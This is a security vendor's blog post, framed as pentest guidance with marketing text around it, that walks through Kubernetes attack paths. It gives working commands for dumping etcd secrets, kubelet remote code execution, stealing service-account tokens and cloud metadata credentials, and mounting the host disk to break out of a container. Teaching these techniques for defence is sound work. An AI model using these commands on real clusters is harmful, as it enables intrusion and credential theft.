Every Solution You Can Imagine – and More
What cybersecurity solution do you need? From Zero Trust to ADR, IAM, risk/privacy, data protection, AppSec and threat, securing digital transformation, to resiliency and remediation, we can build the right program to help solve your challenges.
A Single Partner for Everything You Need
Optiv works with more than 400 world-class security technology partners. By putting you at the center of our unmatched ecosystem of people, products, partners and programs, we accelerate business progress like no other company can.
We Are Optiv
Greatness is every team working toward a common goal. Winning in spite of cyber threats and overcoming challenges in spite of them. It’s building for a future that only you can create or simply coming home in time for dinner.
However you define greatness, Optiv is in your corner. We manage cyber risk so you can secure your full potential.
Kubernetes Attack Surface
As more enterprises adopt cloud technologies such as microservices and containers, Kubernetes is becoming a crucial part of their IT ecosystem. Kubernetes is an open-source container-orchestration system for automating computer application deployment and management at scale. Although Kubernetes brings significant benefits to organizations, it also introduces new attack surfaces. Today, we will discuss some of the prevalent attack paths for Kubernetes.
Some of the technologies and terminologies used in this blog may be foreign to you if you have not used Kubernetes before. We will cover some Kubernetes basics here.
A master node controls and manages a set of worker nodes in a Kubernetes cluster. Some of its core components are as follows:
Worker nodes are usually containerized applications that host pods, which are an application’s workload, such as a Docker container running a Ngnix web server, or a MySQL database. Some of its core components are:
There is nothing different from our usual discovery process regarding open source intelligence (OSINT) against Kubernetes. First, one should search for public code repositories, such as Github and Gitlab, for stored credentials or secret keys. It happens rarely, but developers may accidentally commit their projects into public repositories with hardcoded credentials. If the target organization’s repositories are small, you can do a manual search to look for file extensions like .config and .conf, which may contain hard-coded credentials. However, several open-source tools can automate these search efforts:
If a Kubernetes cluster is configured properly, it exposes a very limited attack surface. Ideally, the Kubernetes API server should be the only asset that can be accessed outside the cluster. And when exposed, it should be securely configured with TLS as well.
However, not all environments will be perfectly hardened or appropriately configured. For instance, a pod might be misconfigured to talk to the outside world directly. In your initial discovery stage, it would be a good idea to perform a quick scan against the following common Kubernetes ports:
By default, Kubernetes API endpoints will not allow anonymous access. However, if the API endpoints are misconfigured and accessible without authentication, it might be possible to enumerate directories.
$ curl http(s)://<Kubernetes-Master-Server >: <Port >
It would also be a good idea to perform directory fuzzing/brute-forcing against the API endpoints to discover any customized or hidden directories or files.
A Kubernetes etcd server stores the cluster secrets and configurations files. By default, the etcd endpoints will not allow anonymous access. However, it is good to check:
$ curl http://<Kubernetes-Master-Server >:2379
$ curl http://<Kubernetes-Master-Server >:6666/v2/keys
If it allows anonymous access, try the following etcdctl command to retrieve the secrets:
$ etcdctl --endpoints=<Kubernetes-Master-Server >:2379 get / --prefix --keys-only
If the etcd server is configured with a TLS certificate:
$ etcdctl --endpoints <Kubernetes-Master-Server >:2379 --cacert <ca_cert_path> --cert <cert_path> --key <cert_key_path> get / --prefix --keys-only
Kubelet is an agent that is deployed on pods in the cluster so that the API server can talk to them. For this reason, kubelet can create containers and have complete control over pods running in the cluster. These functions are completed via kubelet API calls.
If kubelet is exposed, it will listen on the default port 10250/TCP. There are common APIs like “/pods” for listing the pods in the kubelet’s worker node, but there are also many undocumented APIs.
If you locate exposed kubelet endpoints, you can potentially read sensitive data and execute remote code execution (RCE) attacks on the affected container.
$ curl -ks -X POST https://<Kubelet-IP>:10250/run/<namespace>/<pod>/<container> -d "cmd=id /""
$ curl -k -H "Connection: Upgrade" \ -H "Upgrade: SPDY/3.1" \
-H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
-H "X-Stream-Protocol-Version: channel.k8s.io" \
-X POST "https://<Kubelet-IP>:10250/exec/<podNamespace>/<podID>/<containerName>?command=id&command=/&input=1&output=1&tty=1"
To attack this, you can also use the open-source tool called kubeletctl created by the CyberArk team.
1) Scanning for accessible kubelet API
$ kubeletctl scan --cidr 172.31.16.0/24
2) List pods
$ kubeletctl pods
3) List token
$ kubeletctl scan token
$ kubeletctl scan rce
$ kubeletctl exec "id" -p <Pod Name> -c <Container Name>
Note: If you target the Kubernetes environment deployed in managed Kubernetes services like AWS EKS, Azure AKS or Google GKE, kubelet attacks might be limited. It is because those services usually prevent unsecured settings for the kubelet APIs.
Let’s say that you’ve breached the target Kubernetes environment by exploiting a vulnerability identified on a cluster and successfully gained access to one of the pod containers. Now, let’s talk about another attack surface with this container access.
By default, a container in the Kubernetes cluster will hold a service account token within its file system. If attackers find that token, they can use it to move laterally, or depending on the privilege of the service account, they can escalate its privilege to compromise the entire cluster environment.
$ cat /run/secrets/kubernetes.io/serviceaccount/token
The service account token is created with JSON Web Token (JWT), which is an open standard of RFC-7519. One can use https://jwt.io/ to decode the base64-encoded part of the JWT token (HEADER and PAYLOAD sections) and learn more about the service account:
After gaining access to a service account token (JWT_Token), you can now perform some authenticated Kubernetes API enumerations:
# List Pods:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/pods/# List Secrets:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/secrets/# List Deployments:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/deployments# List Daemonsets:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
With container access, you can also attempt to retrieve cloud secret keys via metadata instances. For example, if one can access AWS IAM secrets, they may have permission to access AWS resources.
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/kube-env
$ curl http://169.254.169.254/metadata/instance/compute?api-version=<version>
Note: Azure supported API versions can be found here.
By default, containers will run as either privileged or root access within the pods. But if you land on a container that is not configured with default settings, you may need to escalate your privileges or escape from it in order to gain access to the underlying host OS.
There are many ways to break out of the containers, and the following resources may give some ideas:
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below are some common things you can check within the container to see if you can leverage this attack vector:
# Check if you can write to a filesystem
$ echo 1 > /proc/sysrq-trigger# Check root UUID
$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e6<Redacted>858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300## Check underlying host filesystem
$ findfs UUID=<UUID Value>
/dev/sda1## Attempt to mount the host's filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-test# debugfs (Interactive filesystem debugger)
$ debugfs /dev/sda1
In another situation, let's say you gained access to a computer that belonged to a Kubernetes engineer or cluster owner. Now you can probably use the already installed kubectl command to access the Kubernetes cluster.
The first thing you can do is search for common locations for the Kubernetes configurations.
# Kube Configuration
$ cat $HOME/.kube/config# Cluster-Level Configuration
$ cat /var/lib/kubelet/config.yaml
$ cat /etc/kubernetes/kubelet.conf# Instance-Specific Configuration
$ /var/lib/kubelet/kubeadm-flags.env# etcd Configuration
$ cat /etc/kubernetes/manifests/etcd.yaml# Bootstrap Configuration>
$ /etc/kubernetes/bootstrap-kubelet.conf# Kubernetes Key
$ cat /etc/kubernetes/pki
We will cover some basic kubectl commands here, which can be used for the initial enumeration against the target cluster.
# Node Information
$ kubectl get nodes -o wide # Pod Information
$ kubectl get pods --all-namespace -o wide
$ kubectl describe pods <Name of the Pod># Secret Information
$ kubectl get secrets# Exec into Pod
$ kubectl exec -it <Name of the Pod> /bin/bash
Regarding Kubernetes Role-based Access Control (RBAC), there are two main ones:
$ kubectl get role -o yaml
metadata:namespace: ""name: k8s-role-test
- apiGroups: ["*"]resources: ["*"]verbs: ["*"] # List, Get, Create# ClusterRoles (* It requires right privilege to retrieve data)
$ kubectl get clusterrole -o yaml
metadata:namespace: ""name: k8s-role-test
- apiGroups: - '*'resources:- '*'verbs: - '*' # List, Get, Create
Finally, several great open-source tools can help you automate some of the vulnerability scanning and discovery of common misconfigurations within the target Kubernetes environment:
In this blog, we briefly discussed the basics of Kubernetes and the attack vectors for a Kubernetes environment. We went over some tactics around initial access and discovery, as well as post-initial access perspectives. We want to say that this is just a starting point. As Kubernetes and cloud-native technologies rapidly evolve, there will be plenty more security considerations around their attack surfaces. As security practitioners, we should continuously familiarize ourselves with these new technologies and help identify security gaps to improve their security postures.
Kubiscan (Scan Kubernetes cluster for risky permissions)Kube-hunter (Kubernetes Vulnerability Scan Tool)Kube-bench (Scan for CIS Kubernetes Benchmark)
Copyright © 2022 Optiv Security Inc. All rights reserved.
No license, express or implied, to any intellectual property or other content is granted or intended hereby.
This blog is provided to you for information purposes only. While the information contained in this site has been obtained from sources believed to be reliable, Optiv disclaims all warranties as to the accuracy, completeness or adequacy of such information.
Links to third party sites are provided for your convenience and do not constitute an endorsement by Optiv. These sites may not have the same privacy, security or accessibility standards.
Complaints / questions should be directed to Legal@optiv.com
April 08, 2021
Authentication factors like biometrics, WebAuthn/FIDO2.0 and mobile apps with push notifications provide the best security defense.
August 10, 2022
We helped a leading medical research school protect 99% of their endpoints, preventing the delivery of malicious emails entirely.
October 12, 2020
A secure customer identity program ensures customers only have access to the services and data appropriate for them through a seamless interface.
Let us know what you need, and we will have an Optiv professional contact you shortly.